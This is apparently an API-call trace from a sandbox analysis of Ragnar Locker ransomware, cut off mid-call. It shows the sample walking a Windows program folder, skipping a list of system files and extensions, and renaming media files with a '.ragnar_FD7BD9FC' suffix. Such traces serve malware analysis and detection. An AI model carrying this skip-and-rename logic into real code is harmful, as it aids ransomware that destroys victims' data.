[0078.745] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="ntuser.dat.log") returned -1 [0078.745] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="ntuser.ini") returned -1 [0078.745] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="thumbs.db") returned -1 [0078.745] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.745] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.745] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.745] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.745] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.745] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.745] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png")) returned 0x20 [0078.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.746] CloseHandle (hObject=0xffffffff) returned 0 [0078.746] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" [0078.746] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png.ragnar_FD7BD9FC" [0078.746] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.746] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0078.746] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.746] lstrcpyW (in: lpString1=0x1eab5a, lpString2="16_9-frame-image-mask.png" | out: lpString1="16_9-frame-image-mask.png") returned="16_9-frame-image-mask.png" [0078.746] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned=".png" [0078.746] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.746] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="autorun.inf") returned -1 [0078.746] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="boot.ini") returned -1 [0078.746] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="bootfont.bin") returned -1 [0078.746] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="bootsect.bak") returned -1 [0078.746] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="bootmgr") returned -1 [0078.746] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="bootmgr.efi") returned -1 [0078.746] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="bootmgfw.efi") returned -1 [0078.747] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="desktop.ini") returned -1 [0078.747] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="iconcache.db") returned -1 [0078.747] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="ntldr") returned -1 [0078.747] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="ntuser.dat") returned -1 [0078.747] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="ntuser.dat.log") returned -1 [0078.747] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="ntuser.ini") returned -1 [0078.747] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="thumbs.db") returned -1 [0078.747] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.747] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.747] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.747] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.747] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.747] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.747] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png")) returned 0x20 [0078.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.747] CloseHandle (hObject=0xffffffff) returned 0 [0078.747] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" [0078.747] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png.ragnar_FD7BD9FC" [0078.747] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.747] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1 [0078.747] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.747] lstrcpyW (in: lpString1=0x1eab5a, lpString2="babypink.png" | out: lpString1="babypink.png") returned="babypink.png" [0078.747] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png") returned=".png" [0078.747] lstrcmpiW (lpString1="babypink.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.747] lstrcmpiW (lpString1="babypink.png", lpString2="autorun.inf") returned 1 [0078.748] lstrcmpiW (lpString1="babypink.png", lpString2="boot.ini") returned -1 [0078.748] lstrcmpiW (lpString1="babypink.png", lpString2="bootfont.bin") returned -1 [0078.748] lstrcmpiW (lpString1="babypink.png", lpString2="bootsect.bak") returned -1 [0078.748] lstrcmpiW (lpString1="babypink.png", lpString2="bootmgr") returned -1 [0078.748] lstrcmpiW (lpString1="babypink.png", lpString2="bootmgr.efi") returned -1 [0078.748] lstrcmpiW (lpString1="babypink.png", lpString2="bootmgfw.efi") returned -1 [0078.748] lstrcmpiW (lpString1="babypink.png", lpString2="desktop.ini") returned -1 [0078.748] lstrcmpiW (lpString1="babypink.png", lpString2="iconcache.db") returned -1 [0078.748] lstrcmpiW (lpString1="babypink.png", lpString2="ntldr") returned -1 [0078.748] lstrcmpiW (lpString1="babypink.png", lpString2="ntuser.dat") returned -1 [0078.748] lstrcmpiW (lpString1="babypink.png", lpString2="ntuser.dat.log") returned -1 [0078.748] lstrcmpiW (lpString1="babypink.png", lpString2="ntuser.ini") returned -1 [0078.748] lstrcmpiW (lpString1="babypink.png", lpString2="thumbs.db") returned -1 [0078.748] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.748] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.748] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.748] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.748] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.748] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.748] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png")) returned 0x20 [0078.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.748] CloseHandle (hObject=0xffffffff) returned 0 [0078.748] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" [0078.748] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png.ragnar_FD7BD9FC" [0078.748] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.749] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0078.749] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.749] lstrcpyW (in: lpString1=0x1eab5a, lpString2="background.png" | out: lpString1="background.png") returned="background.png" [0078.749] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned=".png" [0078.749] lstrcmpiW (lpString1="background.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.749] lstrcmpiW (lpString1="background.png", lpString2="autorun.inf") returned 1 [0078.749] lstrcmpiW (lpString1="background.png", lpString2="boot.ini") returned -1 [0078.749] lstrcmpiW (lpString1="background.png", lpString2="bootfont.bin") returned -1 [0078.749] lstrcmpiW (lpString1="background.png", lpString2="bootsect.bak") returned -1 [0078.749] lstrcmpiW (lpString1="background.png", lpString2="bootmgr") returned -1 [0078.749] lstrcmpiW (lpString1="background.png", lpString2="bootmgr.efi") returned -1 [0078.749] lstrcmpiW (lpString1="background.png", lpString2="bootmgfw.efi") returned -1 [0078.749] lstrcmpiW (lpString1="background.png", lpString2="desktop.ini") returned -1 [0078.749] lstrcmpiW (lpString1="background.png", lpString2="iconcache.db") returned -1 [0078.749] lstrcmpiW (lpString1="background.png", lpString2="ntldr") returned -1 [0078.749] lstrcmpiW (lpString1="background.png", lpString2="ntuser.dat") returned -1 [0078.749] lstrcmpiW (lpString1="background.png", lpString2="ntuser.dat.log") returned -1 [0078.749] lstrcmpiW (lpString1="background.png", lpString2="ntuser.ini") returned -1 [0078.749] lstrcmpiW (lpString1="background.png", lpString2="thumbs.db") returned -1 [0078.749] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.749] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.749] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.749] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.749] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.749] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.749] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png")) returned 0x20 [0078.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.750] CloseHandle (hObject=0xffffffff) returned 0 [0078.750] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" [0078.750] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png.ragnar_FD7BD9FC" [0078.750] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.750] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1 [0078.750] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.750] lstrcpyW (in: lpString1=0x1eab5a, lpString2="bear_formatted_matte2.wmv" | out: lpString1="bear_formatted_matte2.wmv") returned="bear_formatted_matte2.wmv" [0078.750] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned=".wmv" [0078.750] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.750] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="autorun.inf") returned 1 [0078.750] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="boot.ini") returned -1 [0078.750] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="bootfont.bin") returned -1 [0078.750] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="bootsect.bak") returned -1 [0078.750] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="bootmgr") returned -1 [0078.750] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="bootmgr.efi") returned -1 [0078.750] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="bootmgfw.efi") returned -1 [0078.750] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="desktop.ini") returned -1 [0078.750] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="iconcache.db") returned -1 [0078.750] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="ntldr") returned -1 [0078.750] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="ntuser.dat") returned -1 [0078.750] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="ntuser.dat.log") returned -1 [0078.750] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="ntuser.ini") returned -1 [0078.750] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="thumbs.db") returned -1 [0078.750] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0078.750] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0078.750] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0078.750] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0078.750] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0078.750] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0078.750] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0078.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv")) returned 0x20 [0078.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.752] CloseHandle (hObject=0xffffffff) returned 0 [0078.752] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" [0078.752] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv.ragnar_FD7BD9FC" [0078.752] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.752] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1 [0078.752] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.752] lstrcpyW (in: lpString1=0x1eab5a, lpString2="Bear_Formatted_MATTE2_PAL.wmv" | out: lpString1="Bear_Formatted_MATTE2_PAL.wmv") returned="Bear_Formatted_MATTE2_PAL.wmv" [0078.752] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned=".wmv" [0078.752] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.752] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="autorun.inf") returned 1 [0078.752] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="boot.ini") returned -1 [0078.752] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="bootfont.bin") returned -1 [0078.752] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="bootsect.bak") returned -1 [0078.752] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="bootmgr") returned -1 [0078.752] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="bootmgr.efi") returned -1 [0078.752] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="bootmgfw.efi") returned -1 [0078.752] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="desktop.ini") returned -1 [0078.752] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="iconcache.db") returned -1 [0078.752] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="ntldr") returned -1 [0078.752] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="ntuser.dat") returned -1 [0078.752] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="ntuser.dat.log") returned -1 [0078.752] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="ntuser.ini") returned -1 [0078.752] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="thumbs.db") returned -1 [0078.752] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0078.752] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0078.752] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0078.752] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0078.752] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0078.752] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0078.752] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0078.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv")) returned 0x20 [0078.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), 